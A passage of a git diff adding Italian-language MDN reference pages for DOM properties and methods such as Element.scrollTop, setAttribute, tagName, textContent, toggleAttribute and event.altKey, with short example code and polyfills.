+Phasellus ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id. Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem, mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta at arcu.
+
+Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum. Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in ligula. Vivamus vitae urna mauris, eget euismod nunc.
+
+Aenean semper gravida enim non feugiat. In hac habitasse platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et a orci. Donec aliquet volutpat scelerisque.
+
+Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.&lt;/textarea&gt;
+    &lt;/p&gt;
+
+    &lt;p&gt;
+      &lt;input type="checkbox" name="accept" id="agree" /&gt;
+      &lt;label for="agree"&gt;I agree&lt;/label&gt;
+      &lt;input type="submit" id="nextstep" value="Next" /&gt;
+    &lt;/p&gt;
+
+  &lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p><a href="https://developer.mozilla.org/files/4589/readme-example.html" title="readme-example.html">Guarda l'esempio qui sopra</a></p>
+
+<h2 id="Specification" name="Specification">Specificazioni</h2>
+
+<p><code>scrollHeight</code> è parte del modello dell'oggetto MSIE's <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> . s<code>crollHeight</code> funziona su questi browser: {{SpecName("CSSOM View")}}.</p>
+
+<h2 id="Supported" name="Supported">Compatibilità dei Browser</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Versioni</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>8.0</strong></td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>3.0</strong> (1.9)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari | Chrome | WebKit</td>
+   <td><strong>4.0</strong> | <strong>4.0</strong> | ?</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Nelle versioni più vecchie di FireFox:</strong> <span style="line-height: 1.5;">Qualora un contenuto di un elemento non generasse una barra di scorrimento varticale, allora il suo </span><code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> sarebbe uguale al suo </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;"> . Questo ci può dire che, o il contenuto è talmente corto da non richiedere una barra di scorrimento verticale, o che quell'elemento ha impostato la proprietà CSS overflow su visible (non-scrollabile).</span></p>
+
+<h2 id="See_Also" name="See_Also">Guarda anche</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Location</a></li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.offsetHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/it/web/api/element/scrolltop/index.html b/files/it/web/api/element/scrolltop/index.html
new file mode 100644
index 0000000000..52d7520f6f
--- /dev/null
+++ b/files/it/web/api/element/scrolltop/index.html
@@ -0,0 +1,83 @@
+---
+title: Element.scrollTop
+slug: Web/API/Element/scrollTop
+tags:
+  - API
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Element/scrollTop
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary">La proprietà <code><strong>Element.scrollTop</strong></code> ottiene o imposta il numero di pixel in cui il contenuto di un elemento viene fatto scorrere verticalmente.</span></p>
+
+<p>Il valore <code>scrollTop</code> di un elemento è una misura della distanza dalla parte superiore dell'elemento al suo contenuto <em>visibile</em> più in alto. Quando il contenuto di un elemento non genera una barra di scorrimento verticale, il suo valore <code>scrollTop</code> è <code>0</code>.</p>
+
+<div class="warning">
+<p>Sui sistemi che usano il ridimensionamento del display, <code>scrollTop</code> può darti un valore decimale.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="brush: js">// Get the number of pixels scrolled.
+var <var>intElemScrollTop</var> = someElement.scrollTop;
+</pre>
+
+<p><var>Dopo aver eseguito questo codice, </var><code><var>intElemScrollTop</var></code> è un numero intero corrispondente al numero di pixel che il contenuto dell'{{domxref("element")}} è stato fatto scorrere verso l'alto.</p>
+
+<pre class="brush: js">// Set the number of pixels scrolled.
+<var>element</var>.scrollTop = <var>intValue</var>;
+</pre>
+
+<p><code>scrollTop</code> può essere impostato su qualsiasi valore intero, con alcuni avvertimenti:</p>
+
+<ul>
+ <li>Se l'elemento non può essere scrollato (ad es. Non ha overflow o se l'elemento ha una proprietà di "<strong>non-scrollable"</strong>), <code>scrollTop</code> è <code>0</code>.</li>
+ <li><code>scrollTop</code> non risponde ai valori negativi; invece, si riporta su <code>0</code>.</li>
+ <li>Se impostato su un valore superiore al massimo disponibile per l'elemento, scrollTop si assesterà sul valore massimo.</li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+<em><strong>If you can see this, scrollTop = 0</strong></em>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+<strong><em>If you can see this, scrollTop is &gt; 0</em></strong>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+<strong><em>If you can see this, scrollTop is maxed-out</em></strong>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrolltop', 'scrollTop')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.scrollTop")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx" title="MSDN Measuring Element Dimension and Location">MSDN's Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/it/web/api/element/setattribute/index.html b/files/it/web/api/element/setattribute/index.html
new file mode 100644
index 0000000000..b3644c8bb2
--- /dev/null
+++ b/files/it/web/api/element/setattribute/index.html
@@ -0,0 +1,83 @@
+---
+title: Element.setAttribute()
+slug: Web/API/Element/setAttribute
+translation_of: Web/API/Element/setAttribute
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><span class="seoSummary">Imposta il valore di un attributo sull'elemento specificato. Se l'attributo esiste già, il valore viene aggiornato; in caso contrario viene aggiunto un nuovo attributo con il nome e il valore specificati.</span></p>
+
+<p>Per ottenere il valore corrente di un attributo, utilizza il metodo {{domxref("Element.getAttribute", "getAttribute()")}}; per rimuovere un attributo, usa {{domxref("Element.removeAttribute", "removeAttribute()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><em>Element</em>.setAttribute(<em>nome</em>, <em>valore</em>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>nome</code></dt>
+ <dd>Una {{domxref("DOMString")}} specifica il nome dell'attributo il cui valore deve essere impostato. Il nome dell'attributo viene automaticamente convertito in minuscolo quando <code>setAttribute()</code> viene chiamato su un elemento in un documento HTML.</dd>
+ <dt><code>valore</code></dt>
+ <dd>Una {{domxref("DOMString")}} contenente il valore da assegnare all'attributo. Qualsiasi valore non stringa specificato viene convertito automaticamente in una stringa.</dd>
+</dl>
+
+<p>Gli attributi booleani sono considerati <code>true</code> se sono presenti sull'elemento, indipendentemente dal loro <code>valore</code> effettivo; di norma, è necessario specificare la stringa vuota (<code>""</code>) in <code>valore</code> (alcune persone usano il nome dell'attributo, ma funziona in modo non standard). Vedi l'{{anch ("Esempio", "esempio")}} sotto per una dimostrazione pratica.</p>
+
+<p>Poiché il <code>valore</code> specificato viene convertito in una stringa, specificare <code>null</code> non fa necessariamente ciò che si aspetta. Invece di rimuovere l'attributo o impostarne il valore come {{jsxref("null")}}, imposta invece il valore dell'attributo sulla stringa <code>null</code>. Se vuoi rimuovere un attributo, usa {{domxref("Element.removeAttribute", "removeAttribute()")}}.</p>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<dl>
+ <dt><code>InvalidCharacterError</code></dt>
+ <dd>L'attributo specificato <code>nome</code> contiene uno o più caratteri che non sono validi nei nomi degli attributi.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<p>Nell'esempio seguente, <code>setAttribute()</code> viene utilizzato per impostare gli attributi su un {{HTMLElement("button")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button&gt;Hello World&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js">var b = document.querySelector("button");
+
+b.setAttribute("name", "helloButton");
+b.setAttribute("disabled", "");
+</pre>
+
+<p>Questo dimostra due cose:</p>
+
+<ul>
+ <li>La prima chiamata a <code>setAttribute()</code> mostra la modifica del valore dell'attributo <code>name</code> su "helloButton". Puoi vederlo usando l'ispettore di pagina del tuo browser (<a href="https://developers.google.com/web/tools/chrome-devtools/inspect-styles">Chrome</a>, <a href="https://docs.microsoft.com/en-us/microsoft-edge/f12-devtools-guide/dom-explorer">Edge</a>, <a href="/en-US/docs/Tools/Page_Inspector">Firefox</a>, <a href="https://developer.apple.com/library/content/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html">Safari</a>).</li>
+ <li>Per impostare il valore di un attributo booleano, come <code>disabled</code>, puoi specificare qualsiasi valore. Una stringa vuota o il nome dell'attributo sono valori consigliati. Tutto ciò che conta è che se l'attributo è presente a tutti, <em>indipendentemente dal suo valore reale</em>, il suo valore è considerato <code>true</code>. L'assenza dell'attributo significa che il suo valore è <code>false</code>. Impostando il valore dell'attributo <code>disabled</code> sulla stringa vuota (<code>""</code>), stiamo impostando <code>disabled</code> su <code>true</code>, il risultato è che il pulsante è disabilitato.</li>
+</ul>
+
+<p>{{ EmbedLiveSample('Example', '300', '50') }}</p>
+
+<p>{{DOMAttributeMethods}}</p>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082">DOM Level 2 Core: setAttribute</a> (introduced in <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents" title="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents">HTML5: APIs in HTML documents</a></li>
+</ul>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.setAttribute")}}</p>
+
+<h3 id="Notes" name="Notes">Gecko notes</h3>
+
+<p>L'utilizzo di <code>setAttribute()</code> per modificare determinati attributi, in particolare <code>value</code> in XUL, funziona in modo incoerente, in quanto l'attributo specifica il valore predefinito. Per accedere o modificare i valori correnti, è necessario utilizzare le proprietà. Ad esempio, utilizzare <code>Element.value</code> anziché <code>Element.setAttribute()</code>.</p>
diff --git a/files/it/web/api/element/tagname/index.html b/files/it/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..950a9a17a4
--- /dev/null
+++ b/files/it/web/api/element/tagname/index.html
@@ -0,0 +1,72 @@
+---
+title: Element.tagName
+slug: Web/API/Element/tagName
+tags:
+  - API
+  - DOM
+  - Di sola lettura
+  - Element
+  - Gecko
+  - Proprietà
+  - Referenza
+  - Referenza del DOM
+  - tagName
+translation_of: Web/API/Element/tagName
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><span class="seoSummary">La proprietà <strong><code>tagName</code> </strong>di sola lettura dell'interfaccia {{domxref("Element")}} restituisce il nome del tag dell'elemento su cui è chiamato.</span> Ad esempio, se l'elemento è un {{HTMLElement("img")}}, la sua proprietà <code>tagName</code> è <code>"IMG"</code> (per i documenti HTML, può essere modificata in modo diverso per i documenti XML/XHTML).</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>elementName</em> = <em>Element</em>.tagName;
+</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<p>Una stringa che indica il nome del tag dell'elemento. La capitalizzazione di questa stringa dipende dal tipo di documento:</p>
+
+<ul>
+ <li>Per gli alberi del DOM che rappresentano documenti HTML, il nome del tag restituito è sempre nel formato maiuscolo canonico. Ad esempio, <code>tagName</code> chiamato su un elemento {{HTMLElement("div")}} ritorna <code>"DIV"</code>.</li>
+ <li>I nomi dei tag degli elementi in un albero del DOM di XML vengono restituiti nello stesso caso in cui sono scritti nel file XML originale. Se un documento XML include un tag <code>"&lt;SomeTag&gt;"</code>, il valore della proprietà <code>tagName</code> è <code>"SomeTag"</code>.</li>
+</ul>
+
+<p>Per gli oggetti {{domxref("Element")}}, il valore di <code>tagName</code> è uguale al valore della proprietà {{domxref("Node.nodeName", "nodeName")}} che l'oggetto elemento eredita da {{domxref("Node")}}.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span id="born"&gt;Quando sono nato...&lt;/span&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var span = document.getElementById("born");
+console.log(span.tagName);
+</pre>
+
+<p>In XHTML (o qualsiasi altro formato XML), il caso originale verrà mantenuto, quindi <code>"span"</code> verrebbe stampato nel caso in cui il nome del tag originale fosse stato creato in minuscolo. In HTML, <code>"SPAN"</code> verrebbe invece stampato indipendentemente dal caso utilizzato durante la creazione del documento originale.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specifica</th>
+   <th>Stato</th>
+   <th>Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-tagname', 'Element: tagName')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.tagName")}}</p>
diff --git a/files/it/web/api/element/textcontent/index.html b/files/it/web/api/element/textcontent/index.html
new file mode 100644
index 0000000000..137c76a3eb
--- /dev/null
+++ b/files/it/web/api/element/textcontent/index.html
@@ -0,0 +1,138 @@
+---
+title: Node.textContent
+slug: Web/API/Element/textContent
+tags:
+  - API
+  - Command API
+  - DOM
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Node/textContent
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La proprietà <code><strong>textContent</strong></code> dell'interfaccia {{domxref("Node")}} rappresenta il contenuto del testo di un nodo e dei suoi discendenti.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <code>textContent</code> e {{domxref("HTMLElement.innerText")}} sono facilmente confusi, ma <a href="#Differenze_da_innerText">i due sono diversi in modi molto importanti</a>.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>text</em> = <em>Node</em>.textContent;
+<em>Node</em>.textContent = <em>string</em>;
+</pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una stringa o <code>null</code>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Quando ottieni questa proprietà:</p>
+
+<ul>
+ <li>Se il nodo è <a href="/en-US/docs/DOM/document">document</a>, <a href="/en-US/docs/Glossary/Doctype">DOCTYPE</a>, o una <a href="/en-US/docs/Web/API/Notation">notation</a>, <code>textContent</code> ritorna <code>null</code>. (Per ottenere tutto il testo e i <a href="/en-US/docs/Web/API/CDATASection">dati CDATA</a> per l'intero documento, si potrebbe usare <code><a href="https://developer.mozilla.org/it/docs/Web/API/Document/documentElement">document.documentElement</a>.textContent</code>.)</li>
+ <li>Se il nodo è una <a href="/en-US/docs/Web/API/CDATASection">sezione CDATA</a>, un commento, <a href="/en-US/docs/Web/API/ProcessingInstruction">istruzione di elaborazione</a>, o <a href="/en-US/docs/Web/API/Document/createTextNode">nodo di testo</a>, <code>textContent</code> restituisce il testo all'interno del nodo, cioè {{domxref("Node.nodeValue")}}.</li>
+ <li>Per altri tipi di nodo, <code>textContent</code> restituisce la concatenazione del <code>textContent</code> di ogni nodo figlio, esclusi i commenti e le istruzioni di elaborazione. Questa è una stringa vuota se il nodo non ha figli.</li>
+</ul>
+
+<p>L'impostazione di <code>textContent</code> su un nodo rimuove tutti i figli del nodo e li sostituisce con un singolo nodo di testo con il valore di stringa specificato.</p>
+
+<h3 id="Differenze_da_innerText">Differenze da innerText</h3>
+
+<p>Non lasciarti confondere dalle differenze tra <code>Node.textContent</code> e {{domxref("HTMLElement.innerText")}}. Anche se i nomi sembrano simili, ci sono differenze importanti:</p>
+
+<ul>
+ <li><code>textContent</code> ottiene il contenuto di tutti gli elementi, compresi gli elementi {{HTMLElement("script")}} e {{HTMLElement("style")}}. Al contrario, <code>innerText</code> mostra solo elementi "leggibili".</li>
+ <li><code>textContent</code> restituisce ogni elemento nel nodo. Al contrario, <code>innerText</code> è consapevole dello stile e non restituirà il testo di elementi "nascosti". Inoltre, poiché <code>innerText</code> prende in considerazione gli stili CSS, la lettura del valore di <code>innerText</code> aziona un <a href="/it/docs/Glossary/Reflow">reflow</a> per garantire stili aggiornati. (I reflow possono essere computazionalmente costosi, e quindi dovrebbero essere evitati quando possibile.)</li>
+ <li>A differenza di <code>textContent</code>, la modifica di <code>innerText</code> in Internet Explorer (versione 11 e inferiore) rimuove i nodi figlio dall'elemento e <em>distrugge in modo permanente</em> tutti i nodi di testo discendenti. È impossibile inserire nuovamente i nodi in qualsiasi altro elemento o nello stesso elemento.</li>
+</ul>
+
+<h3 id="Differenze_da_innerHTML">Differenze da innerHTML</h3>
+
+<p>{{domxref("Element.innerHTML")}} restituisce HTML, come indica il nome. A volte le persone usano <code>innerHTML</code> per recuperare o scrivere testo all'interno di un elemento, ma <code>textContent</code> ha prestazioni migliori perché il suo valore non viene analizzato come HTML. Inoltre, l'utilizzo di <code>textContent</code> può impedire <a href="/en-US/docs/Glossary/Cross-site_scripting">gli attacchi XSS</a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Dato questo codice HTML:</p>
+
+<pre class="brush: html">&lt;div id="divA"&gt;Questo è &lt;span&gt;un&lt;/span&gt; testo!&lt;/div&gt;</pre>
+
+<p>...puoi usare <code>textContent</code> per ottenere il contenuto del testo dell'elemento:</p>
+
+<pre class="brush: js">let text = document.getElementById('divA').textContent;
+// La variabile text è ora: "Questo è un testo!"</pre>
+
+<p>...o imposta il contenuto del testo dell'elemento:</p>
+
+<pre class="brush: js">document.getElementById('divA').textContent = 'Questo testo è diverso!';
+// L'HTML per divA è ora:
+// &lt;div id="divA"&gt;Questo testo è diverso!&lt;/div&gt;
+</pre>
+
+<h2 id="Polyfill_per_IE8">Polyfill per IE8</h2>
+
+<pre class="brush: js">// Source: Eli Grey @ https://eligrey.com/blog/post/textcontent-in-ie8
+if (Object.defineProperty
+  &amp;&amp; Object.getOwnPropertyDescriptor
+  &amp;&amp; Object.getOwnPropertyDescriptor(Element.prototype, "textContent")
+  &amp;&amp; !Object.getOwnPropertyDescriptor(Element.prototype, "textContent").get) {
+  (function() {
+    var innerText = Object.getOwnPropertyDescriptor(Element.prototype, "innerText");
+    Object.defineProperty(Element.prototype, "textContent",
+     // Passare innerText o innerText.get direttamente non funziona,
+     // è richiesta la funzione wrapper.
+     {
+       get: function() {
+         return innerText.get.call(this);
+       },
+       set: function(s) {
+         return innerText.set.call(this, s);
+       }
+     }
+   );
+  })();
+}
+</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.textContent")}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Nessun cambiamento vs. DOM4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#Node3-textContent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Introdotto</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.innerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+ <li><a href="http://perfectionkills.com/the-poor-misunderstood-innerText/">Maggiori informazioni sulle differenze tra <code>innerText</code> e <code>textContent</code></a> (blog post)</li>
+</ul>
diff --git a/files/it/web/api/element/toggleattribute/index.html b/files/it/web/api/element/toggleattribute/index.html
new file mode 100644
index 0000000000..c997b4efdd
--- /dev/null
+++ b/files/it/web/api/element/toggleattribute/index.html
@@ -0,0 +1,104 @@
+---
+title: Element.toggleAttribute()
+slug: Web/API/Element/toggleAttribute
+translation_of: Web/API/Element/toggleAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo <code><strong>toggleAttribute()</strong></code> dell'interfaccia {{domxref("Element")}} attiva/disattiva un attributo booleano (rimuovendolo se è presente e aggiungendolo se non è presente) sull'elemento specificato.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>Element</em>.toggleAttribute(<em>name</em> [, <em>force</em>]);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Una {{domxref("DOMString")}} che specifica il nome dell'attributo da attivare. Il nome dell'attributo viene automaticamente convertito in minuscolo quando <code>toggleAttribute()</code> viene chiamato su un elemento HTML in un documento HTML.</dd>
+ <dt><code>force</code> {{optional_inline}}</dt>
+ <dd>Un valore booleano per determinare se l'attributo deve essere aggiunto o rimosso, indipendentemente dal fatto che l'attributo sia presente o meno al momento.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p><code>true</code> se l'attributo <strong><code>name</code></strong> è eventualmente presente, in caso contrario <code>false</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>InvalidCharacterError</code></dt>
+ <dd>L'attributo specificato <code>name</code> contiene uno o più caratteri che non sono validi nei nomi degli attributi.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Nell'esempio seguente, <code>toggleAttribute()</code> viene utilizzato per commutare l'attributo  <code>readonly</code> di un {{HTMLElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input value="text"&gt;
+&lt;button&gt;toggleAttribute("readonly")&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js">var button = document.querySelector("button");
+var input = document.querySelector("input");
+
+button.addEventListener("click", function(){
+  input.toggleAttribute("readonly");
+});
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>{{ EmbedLiveSample('Esempio', '300', '50') }}</p>
+
+<p>{{DOMAttributeMethods}}</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Element.prototype.toggleAttribute) {
+  Element.prototype.toggleAttribute = function(name, force) {
+    if(force !== void 0) force = !!force
+
+    if (this.getAttribute(name) !== null) {
+      if (force) return true;
+
+      this.removeAttribute(name);
+      return false;
+    } else {
+      if (force === false) return false;
+
+      this.setAttribute(name, "");
+      return true;
+    }
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-toggleattribute', 'Element.toggleAttribute')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.toggleAttribute")}}</p>
diff --git a/files/it/web/api/event/altkey/index.html b/files/it/web/api/event/altkey/index.html
new file mode 100644
index 0000000000..1ab63e4329
--- /dev/null
+++ b/files/it/web/api/event/altkey/index.html
@@ -0,0 +1,46 @@
+---
+title: event.altKey
+slug: Web/API/Event/altKey
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/MouseEvent/altKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica se il tasto ALT era premuto mentre l'evento si verificava.</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval"><i>bool</i> = event.altKey
+</pre>
+<p><code>bool</code> vale <code>true</code> se il tasto ALT era premuto, altrimenti <code>false</code>.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio tasto ALT&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCarattere(e){
+  alert(
+    "Tasto premuto: " + String.fromCharCode(e.charCode) + "\n"
+    + "Codice carattere: " + e.charCode + "\n"
+    + "Tasto ALT premuto: " + e.altKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="mostraCarattere(event);"&gt;
+&lt;p&gt;
+Prova a premere un tasto tenendo premuto ALT e prova a premere un tasto senza premere ALT.&lt;br /&gt;
+Puoi anche provare a premere ALT+SHIFT.
+&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-altKey">altKey </a></p>
+<p>{{ languages( { "en": "en/DOM/event.altKey", "pl": "pl/DOM/event.altKey" } ) }}</p>
diff --git a/files/it/web/api/event/bubbles/index.html b/files/it/web/api/event/bubbles/index.html
new file mode 100644
index 0000000000..e75e385070
